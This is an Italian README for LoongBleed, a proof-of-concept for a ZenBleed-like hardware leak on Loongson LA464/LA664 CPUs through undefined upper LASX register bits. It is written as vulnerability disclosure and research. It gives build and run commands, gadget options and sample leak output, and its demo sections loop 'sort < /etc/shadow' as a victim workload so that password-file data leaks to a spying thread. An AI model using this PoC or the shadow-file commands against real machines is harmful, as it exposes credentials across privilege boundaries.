
Proof-of-concept che dimostra una fuga di dati microarchitetturale nei processori Loongson LA464/LA664 tramite i bit superiori indefiniti dei registri vettoriali LASX, simile a ZenBleed.
LoongBleed è una vulnerabilità hardware, concettualmente simile a ZenBleed (CVE-2023-20593) — che colpisce i processori Loongson LA464/LA664 che implementano sia LSX (SIMD a 128 bit) sia LASX (SIMD a 256 bit).
Su LoongArch, i registri LSX $vr (128 bit) sono alias della metà inferiore dei registri
LASX $xr (256 bit). Le istruzioni LSX e le operazioni in virgola mobile di base
sono definite per operare solo sui 128 bit inferiori (o su un loro sottoinsieme); i
bit superiori del corrispondente registro $xr sono indefiniti. Tuttavia, a causa
di un difetto microarchitetturale, queste operazioni possono far trapelare dati attraverso
i 128 bit superiori di $xr, esponendo dati sensibili attraverso confini di privilegio o
tra sibling SMT.
Nota sulla scoperta indipendente — Lo stesso difetto hardware sottostante è stato scoperto e pubblicato in modo indipendente dai ricercatori del CISPA Helmholtz Center for Information Security come LoongLeak (https://loongleakattack.com/), presentato a USENIX Security 2026 come "LoongLeak: Architectural Cross-Privilege-Boundary Data Leakage on LoongArch CPUs". Il nostro lavoro è stato sviluppato indipendentemente dal team LoongLeak; entrambi i gruppi sono giunti alla stessa conclusione che i processori Loongson LA464/LA664 fanno trapelare dati attraverso i bit superiori indefiniti dei registri LASX
$xr. Si noti che le istruzioni che utilizziamo per innescare la fuga non sono identiche a quelle riportate nel paper LoongLeak: il nostro PoC si basa su un diverso insieme di gadget (vor.v,vld,fld.d,fld.s) per riprodurre lo stesso difetto hardware sottostante. Inoltre, poiché la fuga può essere innescata da pure istruzioni registro-registro comevor.v(nessun caricamento in memoria coinvolto), la nostra analisi suggerisce che la causa principale sia probabilmente il riutilizzo di registri fisici: i bit superiori di un registro fisico riutilizzato non vengono cancellati, facendo trapelare dati obsoleti da un precedente occupante del registro. Questo differisce dall'analisi del paper LoongLeak, che attribuisce i dati trapelati alla cache dati L1.
Il proof-of-concept funziona come segue:
$xrN tramite xvld.xvst.Il PoC esegue ripetutamente questo gadget su 16 registri vettoriali architetturali
($xr0–$xr15) su thread vincolati a core fisici. I valori non nulli che
compaiono dopo l'istruzione indicano che la microarchitettura ha propagato dati
obsoleti o provenienti da un contesto diverso nello stato architetturale dei registri.
Il PoC supporta più istruzioni di test, selezionabili tramite --gadget:
| Gadget | Istruzione | Descrizione | Fuga su LA664 | Fuga su LA464 |
|---|---|---|---|---|
vor | vor.v $vrN, $vrN, $vrN | OR bit a bit di $vrN con se stesso | Sì | No |
vld | vld $vrN, … | Caricamento a 128 bit dalla memoria in $vrN | Sì | Sì |
fld.d | fld.d $fN, … | Caricamento in virgola mobile a 64 bit in $fN (alias dei 64 bit bassi di $vrN) | Sì | Sì |
fld.s | fld.s $fN, … | Caricamento in virgola mobile a 32 bit in $fN (alias dei 32 bit bassi di $vrN) | Sì | Sì |
Su LA664, tutti e quattro i gadget espongono la fuga, facendo trapelare al massimo 192 bit per
vettore. Su LA464, vld, fld.d e fld.s fanno trapelare (al massimo 224 bit per
vettore); il gadget predefinito vor.v non fa trapelare su LA464.
Usage: ./loongbleed_poc [OPTIONS]
Options:
-a, --all Launch one thread pinned to each physical core.
By default only thread on CPU 0 is launched.
-g, --gadget [vor|vld|fld.d|fld.s]
Use different instructions for testing.
-h, --help Show this help and exit.
# Single-thread mode on CPU 0
./run.sh
# Single-thread mode with vld gadget (required for LA464)
./run.sh --gadget vld
# All physical cores, default gadget
./run.sh -a
# All cores with fld.d gadget
./run.sh --all --gadget fld.d
Un thread vittima elabora dati sensibili su una CPU logica mentre il PoC sonda i registri sul suo sibling SMT. Il thread che spia può osservare frammenti dei dati della vittima nei bit superiori trapelati.
# Terminal 1 — start LoongBleed on CPU 0
./run.sh
# Terminal 2 — victim workload on the SMT sibling (CPU 1)
while true; do numactl -C 1 sort < /etc/shadow > /dev/null; done
Per una configurazione automatizzata, utilizzare lo script fornito:
./poc_la664.sh
Questo avvia un carico di lavoro sort sulla CPU 1 (il sibling SMT della CPU 0) e lancia
LoongBleed sulla CPU 0 con il gadget predefinito.
Un thread vittima elabora dati sensibili su una CPU mentre il PoC sonda
i registri sullo stesso core. Richiede --gadget vld poiché il gadget predefinito vor.v
non fa trapelare su LA464.
# Terminal 1 — start LoongBleed on CPU 0
./run.sh --gadget vld
# Terminal 2 — victim workload on the same core
while true; do numactl -C 0 sort < /etc/shadow > /dev/null; done
Per una configurazione automatizzata:
./poc_la464.sh
Questo avvia un carico di lavoro sort sulla CPU 0 e lancia LoongBleed con --gadget vld.
Il PoC è un programma C++ in un singolo file senza dipendenze esterne.
g++ -std=c++11 -O2 -march=native -pthread -o loongbleed_poc loongbleed_poc.cpp
Oppure utilizzare lo script fornito:
./run.sh
# or, on LA464:
./run.sh --gadget vld
Quando viene rilevata una fuga e i byte trapelati contengono una sequenza di almeno 8 caratteri ASCII stampabili contigui (0x20–0x7e), il PoC stampa:
[cpu 0] LEAK chunk=14 data=0x7461646e756f4620_6572617774666f53_0000000000000000_0000000000000000 ascii=............Software Foundat